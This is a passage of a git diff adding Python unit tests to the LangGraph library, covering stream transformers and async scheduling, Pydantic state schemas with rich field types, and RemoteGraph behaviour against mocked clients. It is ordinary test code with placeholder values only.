+ return {"items": self._log} + + def process(self, event: ProtocolEvent) -> bool: + return True + + def finalize(self) -> None: + self._log.close() + + mux = StreamMux([ManualCloseTransformer()]) + mux.close() # should not raise even with double-close + + def test_transformer_without_finalize_works(self) -> None: + class MinimalTransformer(StreamTransformer): + def __init__(self, scope: tuple[str, ...] = ()) -> None: + super().__init__(scope) + self._log: StreamChannel[str] = StreamChannel() + + def init(self) -> dict[str, Any]: + return {"minimal": self._log} + + def process(self, event: ProtocolEvent) -> bool: + if event["method"] == "values": + self._log.push("got_it") + return True + + run = _build_simple_graph().stream_events( + {"value": "x", "items": []}, version="v3", transformers=[MinimalTransformer] + ) + minimal_iter = iter(run.extensions["minimal"]) + _ = run.output + assert len(list(minimal_iter)) > 0 + + +class TestStreamTransformerSchedule: + def test_schedule_without_running_loop_raises(self) -> None: + class Sched(StreamTransformer): + requires_async = True + + def init(self) -> dict[str, Any]: + return {} + + def process(self, event: ProtocolEvent) -> bool: + return True + + t = Sched() + + async def noop() -> None: + pass + + coro = noop() + try: + with pytest.raises(RuntimeError, match="requires a running event loop"): + t.schedule(coro) + finally: + coro.close() + + +# --------------------------------------------------------------------------- +# Async transformer lane +# --------------------------------------------------------------------------- + + +@pytest.mark.anyio +class TestAsyncTransformerLane: + async def test_aprocess_is_awaited_before_next_transformer(self) -> None: + """aprocess must complete before the next transformer sees the event — + load-bearing guarantee for mutating transformers like PII redaction.""" + order: list[str] = [] + + class RedactTransformer(StreamTransformer): + requires_async = True + + def init(self) -> dict[str, Any]: + return {} + + async def aprocess(self, event: ProtocolEvent) -> bool: + await asyncio.sleep(0.01) + order.append("redact") + event["params"]["data"]["redacted"] = True + return True + + class ObserverTransformer(StreamTransformer): + def init(self) -> dict[str, Any]: + return {} + + def process(self, event: ProtocolEvent) -> bool: + if event["method"] == "values": + order.append(f"observe:{event['params']['data'].get('redacted')}") + return True + + mux = StreamMux([RedactTransformer(), ObserverTransformer()], is_async=True) + await mux.apush(_event("values", {"secret": "x"})) + await mux.aclose() + assert order == ["redact", "observe:True"] + + async def test_schedule_joins_tasks_before_afinalize(self) -> None: + """Every scheduled task must complete before afinalize runs.""" + phase: list[str] = [] + + class SchedTransformer(StreamTransformer): + requires_async = True + + def __init__(self) -> None: + self._log: StreamChannel[str] = StreamChannel() + + def init(self) -> dict[str, Any]: + return {"out": self._log} + + def process(self, event: ProtocolEvent) -> bool: + if event["method"] == "values": + + async def work() -> None: + await asyncio.sleep(0.01) + phase.append("task") + self._log.push("done") + + self.schedule(work()) + return True + + async def afinalize(self) -> None: + phase.append("afinalize") + self._log.close() + + t = SchedTransformer() + mux = StreamMux([t], is_async=True) + await mux.apush(_event("values", {})) + await mux.apush(_event("values", {})) + await mux.aclose() + assert phase.count("task") == 2 + assert phase[-1] == "afinalize" + + async def test_sync_stream_rejects_async_transformer(self) -> None: + class NeedsAsync(StreamTransformer): + requires_async = True + + def init(self) -> dict[str, Any]: + return {} + + def process(self, event: ProtocolEvent) -> bool: + return True + + with pytest.raises(RuntimeError, match="requires an async run"): + StreamMux([NeedsAsync()], is_async=False) + + async def test_sync_stream_rejects_aprocess_override(self) -> None: + class HasAprocess(StreamTransformer): + def init(self) -> dict[str, Any]: + return {} + + async def aprocess(self, event: ProtocolEvent) -> bool: + return True + + with pytest.raises(RuntimeError, match="requires an async run"): + StreamMux([HasAprocess()], is_async=False) + + async def test_schedule_on_error_log_swallows_exceptions(self) -> None: + class Bad(StreamTransformer): + requires_async = True + + def __init__(self) -> None: + self._log: StreamChannel[str] = StreamChannel() + + def init(self) -> dict[str, Any]: + return {"out": self._log} + + def process(self, event: ProtocolEvent) -> bool: + async def work() -> None: + raise ValueError("boom") + + self.schedule(work()) # default on_error="log" + return True + + async def afinalize(self) -> None: + self._log.close() + + mux = StreamMux([Bad()], is_async=True) + await mux.apush(_event("values", {})) + await mux.aclose() # should not raise; exception is logged + + async def test_schedule_on_error_raise_fails_the_run(self) -> None: + class Strict(StreamTransformer): + requires_async = True + + def init(self) -> dict[str, Any]: + return {} + + def process(self, event: ProtocolEvent) -> bool: + async def work() -> None: + raise ValueError("strict boom") + + self.schedule(work(), on_error="raise") + return True + + mux = StreamMux([Strict()], is_async=True) + await mux.apush(_event("values", {})) + with pytest.raises(ValueError, match="strict boom"): + await mux.aclose() + + async def test_afail_cancels_pending_scheduled_tasks(self) -> None: + cancelled = asyncio.Event() + + class Sched(StreamTransformer): + requires_async = True + + def init(self) -> dict[str, Any]: + return {} + + def process(self, event: ProtocolEvent) -> bool: + async def work() -> None: + try: + await asyncio.sleep(5) + except asyncio.CancelledError: + cancelled.set() + raise + + self.schedule(work()) + return True + + mux = StreamMux([Sched()], is_async=True) + await mux.apush(_event("values", {})) + # Yield so the task actually starts before we cancel it. + await asyncio.sleep(0) + await mux.afail(RuntimeError("run died")) + assert cancelled.is_set() + + async def test_mixed_sync_and_async_transformers(self) -> None: + seen_sync: list[str] = [] + + class SyncOne(StreamTransformer): + def init(self) -> dict[str, Any]: + return {} + + def process(self, event: ProtocolEvent) -> bool: + seen_sync.append(event["method"]) + return True + + class AsyncOne(StreamTransformer): + requires_async = True + + def __init__(self) -> None: + self._log: StreamChannel[str] = StreamChannel() + + def init(self) -> dict[str, Any]: + return {"seen": self._log} + + async def aprocess(self, event: ProtocolEvent) -> bool: + await asyncio.sleep(0) + self._log.push(event["method"]) + return True + + async def afinalize(self) -> None: + self._log.close() + + async_t = AsyncOne() + mux = StreamMux([SyncOne(), async_t], is_async=True) + seen_cursor = aiter(async_t._log) + await mux.apush(_event("values", {})) + await mux.apush(_event("updates", {})) + await mux.aclose() + assert seen_sync == ["values", "updates"] + assert [x async for x in seen_cursor] == ["values", "updates"] + + async def test_handler_astream_with_scheduled_work(self) -> None: + class Scorer(StreamTransformer): + requires_async = True + + def __init__(self, scope: tuple[str, ...] = ()) -> None: + super().__init__(scope) + self._log: StreamChannel[int] = StreamChannel() + + def init(self) -> dict[str, Any]: + return {"scores": self._log} + + def process(self, event: ProtocolEvent) -> bool: + if event["method"] == "values": + + async def work() -> None: + await asyncio.sleep(0.01) + self._log.push(42) + + self.schedule(work()) + return True + + async def afinalize(self) -> None: + self._log.close() + + run = await _build_simple_graph().astream_events( + {"value": "x", "items": []}, version="v3", transformers=[Scorer] + ) + scores_cursor = aiter(run.extensions["scores"]) + _ = await run.output() + scores = [x async for x in scores_cursor] + assert scores and all(s == 42 for s in scores) + + +# --------------------------------------------------------------------------- +# Memory bounds: drain-on-consume semantics +# --------------------------------------------------------------------------- + + +@NEEDS_CONTEXTVARS +class TestMemoryBounds: + def test_sync_subscribed_buffer_stays_at_most_one_between_yields(self) -> None: + run = _build_simple_graph().stream_events( + {"value": "x", "items": []}, version="v3" + ) + events_iter = iter(run) + max_buffered = 0 + count = 0 + for _ in events_iter: + max_buffered = max(max_buffered, len(run._mux._events._items)) + count += 1 + assert count > 0 + assert max_buffered == 0, ( + f"drain-on-consume violated, observed max {max_buffered}" + ) + + def test_unsubscribed_projections_never_accumulate(self) -> None: + run = _build_simple_graph().stream_events( + {"value": "x", "items": []}, version="v3" + ) + list(run) + values_log = run.extensions["values"] + messages_log = run.extensions["messages"] + assert len(values_log._items) == 0 and not values_log._subscribed + assert len(messages_log._items) == 0 and not messages_log._subscribed + + def test_output_path_does_not_retain_values(self) -> None: + run = _build_simple_graph().stream_events( + {"value": "x", "items": []}, version="v3" + ) + _ = run.output + values_log = run.extensions["values"] + assert len(values_log._items) == 0 and not values_log._subscribed + + def test_drained_subscriber_buffer_returns_to_empty(self) -> None: + run = _build_simple_graph().stream_events( + {"value": "x", "items": []}, version="v3" + ) + list(run.values) + assert len(run.extensions["values"]._items) == 0 + + @pytest.mark.anyio + async def test_async_single_consumer_buffer_stays_at_most_one(self) -> None: + run = await _build_simple_graph().astream_events( + {"value": "x", "items": []}, version="v3" + ) + max_buffered = 0 + count = 0 + async for _ in run: + max_buffered = max(max_buffered, len(run._mux._events._items)) + count += 1 + assert count > 0 + assert max_buffered == 0 + + @pytest.mark.anyio + async def test_async_unsubscribed_projections_never_accumulate(self) -> None: + run = await _build_simple_graph().astream_events( + {"value": "x", "items": []}, version="v3" + ) + _ = await run.output() + values_log = run.extensions["values"] + messages_log = run.extensions["messages"] + assert len(values_log._items) == 0 and not values_log._subscribed + assert len(messages_log._items) == 0 and not messages_log._subscribed + + +# --------------------------------------------------------------------------- +# DrainOnConsume: StreamChannel capacity semantics +# --------------------------------------------------------------------------- + + +class TestDrainOnConsume: + def test_invalid_maxlen_raises(self) -> None: + with pytest.raises(ValueError, match="positive int or None"): + StreamChannel(maxlen=0) + with pytest.raises(ValueError, match="positive int or None"): + StreamChannel(maxlen=-3) + + def test_push_unbounded_by_design(self) -> None: + """Push is non-blocking; the caller-driven pump bounds memory via iteration pace.""" + log: StreamChannel[int] = StreamChannel() + log._bind(is_async=False) + it = iter(log) + for i in range(100): + log.push(i) + log.close() + assert list(it) == list(range(100)) + + def test_tee_fans_out_sync(self) -> None: + log: StreamChannel[int] = StreamChannel() + log._bind(is_async=False) + a, b = log.tee(2) + for i in range(3): + log.push(i) + log.close() + assert list(a) == [0, 1, 2] + assert list(b) == [0, 1, 2] + + @pytest.mark.anyio + async def test_atee_fans_out(self) -> None: + log: StreamChannel[int] = StreamChannel() + log._bind(is_async=True) + a, b = log.atee(2) + for i in range(3): + log.push(i) + log.close() + assert [x async for x in a] == [0, 1, 2] + assert [x async for x in b] == [0, 1, 2] diff --git a/libs/langgraph/tests/test_pydantic.py b/libs/langgraph/tests/test_pydantic.py new file mode 100644 index 0000000..f49a028 --- /dev/null +++ b/libs/langgraph/tests/test_pydantic.py @@ -0,0 +1,362 @@ +import datetime +import decimal +import ipaddress +import pathlib +import re +import sys +import uuid +from enum import Enum +from typing import Annotated, Literal, Optional + +from langgraph.checkpoint.base import BaseCheckpointSaver +from pydantic import ( + BaseModel, + ByteSize, + Field, + SecretStr, + confloat, + conint, + conlist, + constr, + field_validator, + model_validator, +) + +from langgraph._internal._pydantic import is_supported_by_pydantic +from langgraph.constants import END, START +from langgraph.func import entrypoint, task +from langgraph.graph.state import StateGraph +from langgraph.types import Command, Interrupt, interrupt +from tests.any_str import AnyStr + + +def test_is_supported_by_pydantic() -> None: + """Test if types are supported by pydantic.""" + import typing + + import pydantic + import typing_extensions + + class TypedDictExtensions(typing_extensions.TypedDict): + x: int + + assert is_supported_by_pydantic(TypedDictExtensions) is True + + class VanillaClass: + x: int + + assert is_supported_by_pydantic(VanillaClass) is False + + class BuiltinTypedDict(typing.TypedDict): # noqa: TID251 + x: int + + if sys.version_info >= (3, 12): + assert is_supported_by_pydantic(BuiltinTypedDict) is True + else: + assert is_supported_by_pydantic(BuiltinTypedDict) is False + + class PydanticModel(pydantic.BaseModel): + x: int + + assert is_supported_by_pydantic(PydanticModel) is True + + +def test_nested_pydantic_models() -> None: + """Test that nested Pydantic models are properly constructed from leaf nodes up.""" + + class NestedModel(BaseModel): + value: int + name: str + + # For constrained types + PositiveInt = Annotated[int, Field(gt=0)] + NonNegativeFloat = Annotated[float, Field(ge=0)] + + # Enum type + class UserRole(Enum): + ADMIN = "admin" + USER = "user" + GUEST = "guest" + + # Forward reference model + class RecursiveModel(BaseModel): + value: str + child: Optional["RecursiveModel"] = None + + # Discriminated union models + class Cat(BaseModel): + pet_type: Literal["cat"] + meow: str + + class Dog(BaseModel): + pet_type: Literal["dog"] + bark: str + + # Cyclic reference model + class Person(BaseModel): + id: str + name: str + friends: list[str] = Field(default_factory=list) # IDs of friends + + conlist_type = conlist(item_type=int, min_length=2, max_length=5) + + class State(BaseModel): + # Basic nested model tests + top_level: str + auuid: uuid.UUID + nested: NestedModel + optional_nested: Annotated[NestedModel | None, lambda x, y: y, "Foo"] + dict_nested: dict[str, NestedModel] + simple_str_list: list[str] + list_nested: Annotated[ + dict | list[dict[str, NestedModel]], lambda x, y: (x or []) + [y] + ] + tuple_nested: tuple[str, NestedModel] + tuple_list_nested: list[tuple[int, NestedModel]] + complex_tuple: tuple[str, dict[str, tuple[int, NestedModel]]] + + # Forward reference test + recursive: RecursiveModel + + # Discriminated union test + pet: Cat | Dog + + # Cyclic reference test + people: dict[str, Person] # Map of ID -> Person + + # Rich type adapters + ip_address: ipaddress.IPv4Address + ip_address_v6: ipaddress.IPv6Address + amount: decimal.Decimal + file_path: pathlib.Path + timestamp: datetime.datetime + date_only: datetime.date + time_only: datetime.time + duration: datetime.timedelta + immutable_set: frozenset[int] + binary_data: bytes + pattern: re.Pattern + secret: SecretStr + file_size: ByteSize + + # Constrained types + positive_value: PositiveInt + non_negative: NonNegativeFloat + limited_string: constr(min_length=3, max_length=10) + bounded_int: conint(ge=10, le=100) + restricted_float: confloat(gt=0, lt=1) + required_list: conlist_type + + # Enum & Literal + role: UserRole + status: Literal["active", "inactive", "pending"] + + # Annotated & NewType + validated_age: Annotated[int, Field(gt=0, lt=120)] + + # Generic containers with validators + decimal_list: list[decimal.Decimal] + id_tuple: tuple[uuid.UUID, uuid.UUID] + + inputs = { + # Basic nested models + "top_level": "initial", + "auuid": str(uuid.uuid4()), + "nested": {"value": 42, "name": "test"}, + "optional_nested": {"value": 10, "name": "optional"}, + "dict_nested": {"a": {"value": 5, "name": "a"}}, + "list_nested": [{"a": {"value": 6, "name": "b"}}], + "tuple_nested": ["tuple-key", {"value": 7, "name": "tuple-value"}], + "tuple_list_nested": [[1, {"value": 8, "name": "tuple-in-list"}]], + "simple_str_list": ["siss", "boom", "bah"], + "complex_tuple": [ + "complex", + {"nested": [9, {"value": 10, "name": "deep"}]}, + ], + # Forward reference + "recursive": {"value": "parent", "child": {"value": "child", "child": None}}, + # Discriminated union (using a cat in this case) + "pet": {"pet_type": "cat", "meow": "meow!"}, + # Cyclic references + "people": { + "1": { + "id": "1", + "name": "Alice", + "friends": ["2", "3"], # Alice is friends with Bob and Charlie + }, + "2": { + "id": "2", + "name": "Bob", + "friends": ["1"], # Bob is friends with Alice + }, + "3": { + "id": "3", + "name": "Charlie", + "friends": ["1", "2"], # Charlie is friends with Alice and Bob + }, + }, + # Rich type adapters + "ip_address": "192.168.1.1", + "ip_address_v6": "2001:db8::1", + "amount": "123.45", + "file_path": "/tmp/test.txt", + "timestamp": "2025-04-07T10:58:04", + "date_only": "2025-04-07", + "time_only": "10:58:04", + "duration": 3600, # seconds + "immutable_set": [1, 2, 3, 4], + "binary_data": b"hello world", + "pattern": "^test$", + "secret": "password123", + "file_size": 1024, + # Constrained types + "positive_value": 42, + "non_negative": 0.0, + "limited_string": "test", + "bounded_int": 50, + "restricted_float": 0.5, + "required_list": [10, 20, 30], + # Enum & Literal + "role": "admin", + "status": "active", + # Annotated & NewType + "validated_age": 30, + # Generic containers with validators + "decimal_list": ["10.5", "20.75", "30.25"], + "id_tuple": [str(uuid.uuid4()), str(uuid.uuid4())], + } + + update = {"top_level": "updated", "nested": {"value": 100, "name": "updated"}} + + expected = State(**inputs) + + def node_fn(state: State) -> dict: + # Basic assertions + assert isinstance(state.auuid, uuid.UUID) + assert state == expected + + # Rich type assertions + assert isinstance(state.ip_address, ipaddress.IPv4Address) + assert isinstance(state.ip_address_v6, ipaddress.IPv6Address) + assert isinstance(state.amount, decimal.Decimal) + assert isinstance(state.file_path, pathlib.Path) + assert isinstance(state.timestamp, datetime.datetime) + assert isinstance(state.date_only, datetime.date) + assert isinstance(state.time_only, datetime.time) + assert isinstance(state.duration, datetime.timedelta) + assert isinstance(state.immutable_set, frozenset) + assert isinstance(state.binary_data, bytes) + assert isinstance(state.pattern, re.Pattern) + + # Constrained types + assert state.positive_value > 0 + assert state.non_negative >= 0 + assert 3 <= len(state.limited_string) <= 10 + assert 10 <= state.bounded_int <= 100 + assert 0 < state.restricted_float < 1 + assert 2 <= len(state.required_list) <= 5 + + # Enum & Literal + assert state.role == UserRole.ADMIN + assert state.status == "active" + + # Annotated + assert 0 < state.validated_age < 120 + + # Generic containers + assert len(state.decimal_list) == 3 + assert len(state.id_tuple) == 2 + + return update + + builder = StateGraph(State) + builder.add_node("process", node_fn) + builder.set_entry_point("process") + builder.set_finish_point("process") + graph = builder.compile() + + result = graph.invoke(inputs.copy()) + + assert result == {**inputs, **update} + + new_inputs = inputs.copy() + new_inputs["list_nested"] = {"foo": "bar"} + expected = State(**new_inputs) + assert {**new_inputs, **update} == graph.invoke(new_inputs.copy()) + + +def test_pydantic_state_field_validator(): + class State(BaseModel): + name: str + text: str = "" + only_root: int = 13 + + @field_validator("name", mode="after") + @classmethod + def validate_name(cls, value): + if value[0].islower(): + raise ValueError("Name must start with a capital letter") + return "Validated " + value + + @model_validator(mode="before") + @classmethod + def validate_amodel(cls, values: "State"): + return values | {"only_root": 392} + + input_state = {"name": "John"} + + def process_node(state: State): + assert State.model_validate(input_state) == state + return {"text": "Hello, " + state.name + "!"} + + builder = StateGraph(state_schema=State) + builder.add_node("process", process_node) + builder.add_edge(START, "process") + builder.add_edge("process", END) + g = builder.compile() + res = g.invoke(input_state) + assert res["text"] == "Hello, Validated John!" + + +class FunctionalState(BaseModel): + a: str + b: str | None = None + + +def test_interrupt_functional_pydantic(sync_checkpointer: BaseCheckpointSaver) -> None: + called_count = 0 + + @task + def foo(state: FunctionalState) -> FunctionalState: + nonlocal called_count + called_count += 1 + return FunctionalState(**{"a": state.a + "foo"}) + + @task + def bar(state: FunctionalState) -> dict: + return {"a": state.a + "bar", "b": state.b} + + @entrypoint(checkpointer=sync_checkpointer) + def graph(inputs: FunctionalState) -> FunctionalState: + fut_foo = foo(inputs) + value = interrupt("Provide value for bar:") + foo_res = fut_foo.result() + assert isinstance(foo_res, FunctionalState) + bar_input = FunctionalState(a=foo_res.a, b=value) + fut_bar = bar(bar_input) + return fut_bar.result() + + config = {"configurable": {"thread_id": "1"}} + # First run, interrupted at bar + assert graph.invoke(FunctionalState(a=""), config) == { + "__interrupt__": [ + Interrupt( + value="Provide value for bar:", + id=AnyStr(), + ) + ] + } + # Resume with an answer + res = graph.invoke(Command(resume="bar"), config) + assert res == {"a": "foobar", "b": "bar"} + assert called_count == 1 diff --git a/libs/langgraph/tests/test_remote_graph.py b/libs/langgraph/tests/test_remote_graph.py new file mode 100644 index 0000000..4edb932 --- /dev/null +++ b/libs/langgraph/tests/test_remote_graph.py @@ -0,0 +1,1485 @@ +import re +import sys +from dataclasses import dataclass +from typing import Annotated +from unittest.mock import AsyncMock, MagicMock + +import langsmith as ls +import pytest +from langchain_core.messages import AnyMessage, BaseMessage +from langchain_core.runnables import RunnableConfig +from langchain_core.runnables.graph import Edge as DrawableEdge +from langchain_core.runnables.graph import Node as DrawableNode +from langgraph_sdk.schema import StreamPart +from pydantic import BaseModel +from typing_extensions import TypedDict + +from langgraph.errors import GraphInterrupt +from langgraph.graph import StateGraph, add_messages +from langgraph.pregel import Pregel +from langgraph.pregel.remote import RemoteGraph +from langgraph.types import Interrupt, StateSnapshot +from tests.any_str import AnyStr +from tests.conftest import NO_DOCKER +from tests.example_app.example_graph import app + +if NO_DOCKER: + pytest.skip( + "Skipping tests that require Docker. Unset NO_DOCKER to run them.", + allow_module_level=True, + ) + +pytestmark = pytest.mark.anyio + +NEEDS_CONTEXTVARS = pytest.mark.skipif( + sys.version_info < (3, 11), + reason="Python 3.11+ is required for async contextvars support", +) + +SKIP_PYTHON_314 = pytest.mark.skipif( + sys.version_info >= (3, 14), + reason="Not yet testing Python 3.14 with the server bc of dependency limits on the api side", +) + + +def test_with_config(): + # set up test + remote_pregel = RemoteGraph( + "test_graph_id", + config={ + "configurable": { + "foo": "bar", + "thread_id": "thread_id_1", + } + }, + ) + + # call method / assertions + config = {"configurable": {"hello": "world"}} + remote_pregel_copy = remote_pregel.with_config(config) + + # assert that a copy was returned + assert remote_pregel_copy != remote_pregel + # assert that configs were merged + assert remote_pregel_copy.config == { + "configurable": { + "foo": "bar", + "thread_id": "thread_id_1", + "hello": "world", + } + } + + +def test_get_graph(): + # set up test + mock_sync_client = MagicMock() + mock_sync_client.assistants.get_graph.return_value = { + "nodes": [ + {"id": "__start__", "type": "schema", "data": "__start__"}, + {"id": "__end__", "type": "schema", "data": "__end__"}, + { + "id": "agent", + "type": "runnable", + "data": { + "id": ["langgraph", "utils", "RunnableCallable"], + "name": "agent_1", + }, + }, + ], + "edges": [ + {"source": "__start__", "target": "agent"}, + {"source": "agent", "target": "__end__"}, + ], + } + + remote_pregel = RemoteGraph("test_graph_id", sync_client=mock_sync_client) + + # call method / assertions + drawable_graph = remote_pregel.get_graph() + + assert drawable_graph.nodes == { + "__start__": DrawableNode( + id="__start__", name="__start__", data="__start__", metadata=None + ), + "__end__": DrawableNode( + id="__end__", name="__end__", data="__end__", metadata=None + ), + "agent": DrawableNode( + id="agent", + name="agent_1", + data={"id": ["langgraph", "utils", "RunnableCallable"], "name": "agent_1"}, + metadata=None, + ), + } + + assert drawable_graph.edges == [ + DrawableEdge(source="__start__", target="agent"), + DrawableEdge(source="agent", target="__end__"), + ] + + +@pytest.mark.anyio +async def test_aget_graph(): + # set up test + mock_async_client = AsyncMock() + mock_async_client.assistants.get_graph.return_value = { + "nodes": [ + {"id": "__start__", "type": "schema", "data": "__start__"}, + {"id": "__end__", "type": "schema", "data": "__end__"}, + { + "id": "agent", + "type": "runnable", + "data": { + "id": ["langgraph", "utils", "RunnableCallable"], + "name": "agent_1", + }, + }, + ], + "edges": [ + {"source": "__start__", "target": "agent"}, + {"source": "agent", "target": "__end__"}, + ], + } + + remote_pregel = RemoteGraph("test_graph_id", client=mock_async_client) + + # call method / assertions + drawable_graph = await remote_pregel.aget_graph() + + assert drawable_graph.nodes == { + "__start__": DrawableNode( + id="__start__", name="__start__", data="__start__", metadata=None + ), + "__end__": DrawableNode( + id="__end__", name="__end__", data="__end__", metadata=None + ), + "agent": DrawableNode( + id="agent", + name="agent_1", + data={"id": ["langgraph", "utils", "RunnableCallable"], "name": "agent_1"}, + metadata=None, + ), + } + + assert drawable_graph.edges == [ + DrawableEdge(source="__start__", target="agent"), + DrawableEdge(source="agent", target="__end__"), + ] + + +def test_get_state(): + # set up test + mock_sync_client = MagicMock() + mock_sync_client.threads.get_state.return_value = { + "values": {"messages": [{"type": "human", "content": "hello"}]}, + "next": None, + "checkpoint": { + "thread_id": "thread_1", + "checkpoint_ns": "ns", + "checkpoint_id": "checkpoint_1", + "checkpoint_map": {}, + }, + "metadata": {}, + "created_at": "timestamp", + "parent_checkpoint": None, + "tasks": [], + } + + # call method / assertions + remote_pregel = RemoteGraph( + "test_graph_id", + sync_client=mock_sync_client, + ) + + config = {"configurable": {"thread_id": "thread1"}} + state_snapshot = remote_pregel.get_state(config) + + assert state_snapshot == StateSnapshot( + values={"messages": [{"type": "human", "content": "hello"}]}, + next=(), + config={ + "configurable": { + "thread_id": "thread_1", + "checkpoint_ns": "ns", + "checkpoint_id": "checkpoint_1", + "checkpoint_map": {}, + } + }, + metadata={}, + created_at="timestamp", + parent_config=None, + tasks=(), + interrupts=(), + ) + + +@pytest.mark.anyio +async def test_aget_state(): + mock_async_client = AsyncMock() + mock_async_client.threads.get_state.return_value = { + "values": {"messages": [{"type": "human", "content": "hello"}]}, + "next": None, + "checkpoint": { + "thread_id": "thread_1", + "checkpoint_ns": "ns", + "checkpoint_id": "checkpoint_2", + "checkpoint_map": {}, + }, + "metadata": {}, + "created_at": "timestamp", + "parent_checkpoint": { + "thread_id": "thread_1", + "checkpoint_ns": "ns", + "checkpoint_id": "checkpoint_1", + "checkpoint_map": {}, + }, + "tasks": [], + } + + # call method / assertions + remote_pregel = RemoteGraph( + "test_graph_id", + client=mock_async_client, + ) + + config = {"configurable": {"thread_id": "thread1"}} + state_snapshot = await remote_pregel.aget_state(config) + + assert state_snapshot == StateSnapshot( + values={"messages": [{"type": "human", "content": "hello"}]}, + next=(), + config={ + "configurable": { + "thread_id": "thread_1", + "checkpoint_ns": "ns", + "checkpoint_id": "checkpoint_2", + "checkpoint_map": {}, + } + }, + metadata={}, + created_at="timestamp", + parent_config={ + "configurable": { + "thread_id": "thread_1", + "checkpoint_ns": "ns", + "checkpoint_id": "checkpoint_1", + "checkpoint_map": {}, + } + }, + tasks=(), + interrupts=(), + ) + + +def test_get_state_history(): + # set up test + mock_sync_client = MagicMock() + mock_sync_client.threads.get_history.return_value = [ + { + "values": {"messages": [{"type": "human", "content": "hello"}]}, + "next": None, + "checkpoint": { + "thread_id": "thread_1", + "checkpoint_ns": "ns", + "checkpoint_id": "checkpoint_1", + "checkpoint_map": {}, + }, + "metadata": {}, + "created_at": "timestamp", + "parent_checkpoint": None, + "tasks": [], + } + ] + + # call method / assertions + remote_pregel = RemoteGraph( + "test_graph_id", + sync_client=mock_sync_client, + ) + + config = {"configurable": {"thread_id": "thread1"}} + state_history_snapshot = list( + remote_pregel.get_state_history(config, filter=None, before=None, limit=None) + ) + + assert len(state_history_snapshot) == 1 + assert state_history_snapshot[0] == StateSnapshot( + values={"messages": [{"type": "human", "content": "hello"}]}, + next=(), + config={ + "configurable": { + "thread_id": "thread_1", + "checkpoint_ns": "ns", + "checkpoint_id": "checkpoint_1", + "checkpoint_map": {}, + } + }, + metadata={}, + created_at="timestamp", + parent_config=None, + tasks=(), + interrupts=(), + ) + + +@pytest.mark.anyio +async def test_aget_state_history(): + # set up test + mock_async_client = AsyncMock() + mock_async_client.threads.get_history.return_value = [ + { + "values": {"messages": [{"type": "human", "content": "hello"}]}, + "next": None, + "checkpoint": { + "thread_id": "thread_1", + "checkpoint_ns": "ns", + "checkpoint_id": "checkpoint_1", + "checkpoint_map": {}, + }, + "metadata": {}, + "created_at": "timestamp", + "parent_checkpoint": None, + "tasks": [], + } + ] + + # call method / assertions + remote_pregel = RemoteGraph( + "test_graph_id", + client=mock_async_client, + ) + + config = {"configurable": {"thread_id": "thread1"}} + state_history_snapshot = [] + async for state_snapshot in remote_pregel.aget_state_history( + config, filter=None, before=None, limit=None + ): + state_history_snapshot.append(state_snapshot) + + assert len(state_history_snapshot) == 1 + assert state_history_snapshot[0] == StateSnapshot( + values={"messages": [{"type": "human", "content": "hello"}]}, + next=(), + config={ + "configurable": { + "thread_id": "thread_1", + "checkpoint_ns": "ns", + "checkpoint_id": "checkpoint_1", + "checkpoint_map": {}, + } + }, + metadata={}, + created_at="timestamp", + parent_config=None, + tasks=(), + interrupts=(), + ) + + +def test_update_state(): + # set up test + mock_sync_client = MagicMock() + mock_sync_client.threads.update_state.return_value = { + "checkpoint": { + "thread_id": "thread_1", + "checkpoint_ns": "ns", + "checkpoint_id": "checkpoint_1", + "checkpoint_map": {}, + } + } + + # call method / assertions + remote_pregel = RemoteGraph( + "test_graph_id", + sync_client=mock_sync_client, + ) + + config = {"configurable": {"thread_id": "thread1"}} + response = remote_pregel.update_state(config, {"key": "value"}) + + assert response == { + "configurable": { + "thread_id": "thread_1", + "checkpoint_ns": "ns", + "checkpoint_id": "checkpoint_1", + "checkpoint_map": {}, + } + } + + +@pytest.mark.anyio +async def test_aupdate_state(): + # set up test + mock_async_client = AsyncMock() + mock_async_client.threads.update_state.return_value = { + "checkpoint": { + "thread_id": "thread_1", + "checkpoint_ns": "ns", + "checkpoint_id": "checkpoint_1", + "checkpoint_map": {}, + } + } + + # call method / assertions + remote_pregel = RemoteGraph( + "test_graph_id", + client=mock_async_client, + ) + + config = {"configurable": {"thread_id": "thread1"}} + response = await remote_pregel.aupdate_state(config, {"key": "value"}) + + assert response == { + "configurable": { + "thread_id": "thread_1", + "checkpoint_ns": "ns", + "checkpoint_id": "checkpoint_1", + "checkpoint_map": {}, + } + } + + +def test_stream(): + # set up test + mock_sync_client = MagicMock() + mock_sync_client.runs.stream.return_value = [ + StreamPart(event="values", data={"chunk": "data1"}), + StreamPart(event="values", data={"chunk": "data2"}), + StreamPart(event="values", data={"chunk": "data3"}), + StreamPart(event="updates", data={"chunk": "data4"}), + StreamPart( + event="messages", + data=[ + { + "content": [{"text": "Hello", "type": "text", "index": 0}], + "type": "AIMessageChunk", + }, + { + "langgraph_step": 1, + "langgraph_node": "call_llm", + "langgraph_triggers": ["branch:to:call_llm"], + "langgraph_path": ["__pregel_pull", "call_llm"], + }, + ], + ), + StreamPart( + event="updates", + data={ + "__interrupt__": [ + { + "value": {"question": "Does this look good?"}, + "id": AnyStr(), + } + ] + }, + ), + ] + + # call method / assertions + remote_pregel = RemoteGraph( + "test_graph_id", + sync_client=mock_sync_client, + ) + + # test raising graph interrupt if invoked as a subgraph + with pytest.raises(GraphInterrupt) as exc: + for stream_part in remote_pregel.stream( + {"input": "data"}, + # pretend we invoked this as a subgraph + config={ + "configurable": {"thread_id": "thread_1", "checkpoint_ns": "some_ns"} + }, + stream_mode="values", + ): + pass + + assert exc.value.args[0] == [ + Interrupt( + value={"question": "Does this look good?"}, + id=AnyStr(), + ) + ] + + # stream modes doesn't include 'updates' + stream_parts = [] + for stream_part in remote_pregel.stream( + {"input": "data"}, + config={"configurable": {"thread_id": "thread_1"}}, + stream_mode="values", + ): + stream_parts.append(stream_part) + + assert stream_parts == [ + {"chunk": "data1"}, + {"chunk": "data2"}, + {"chunk": "data3"}, + ] + + # stream_mode messages + stream_parts = [] + for stream_part in remote_pregel.stream( + {"input": "data"}, + config={"configurable": {"thread_id": "thread_1"}}, + stream_mode="messages", + ): + stream_parts.append(stream_part) + + assert stream_parts == [ + ( + { + "content": [{"text": "Hello", "type": "text", "index": 0}], + "type": "AIMessageChunk", + }, + { + "langgraph_step": 1, + "langgraph_node": "call_llm", + "langgraph_triggers": ["branch:to:call_llm"], + "langgraph_path": ["__pregel_pull", "call_llm"], + }, + ), + ] + + mock_sync_client.runs.stream.return_value = [ + StreamPart(event="updates", data={"chunk": "data3"}), + StreamPart(event="updates", data={"chunk": "data4"}), + 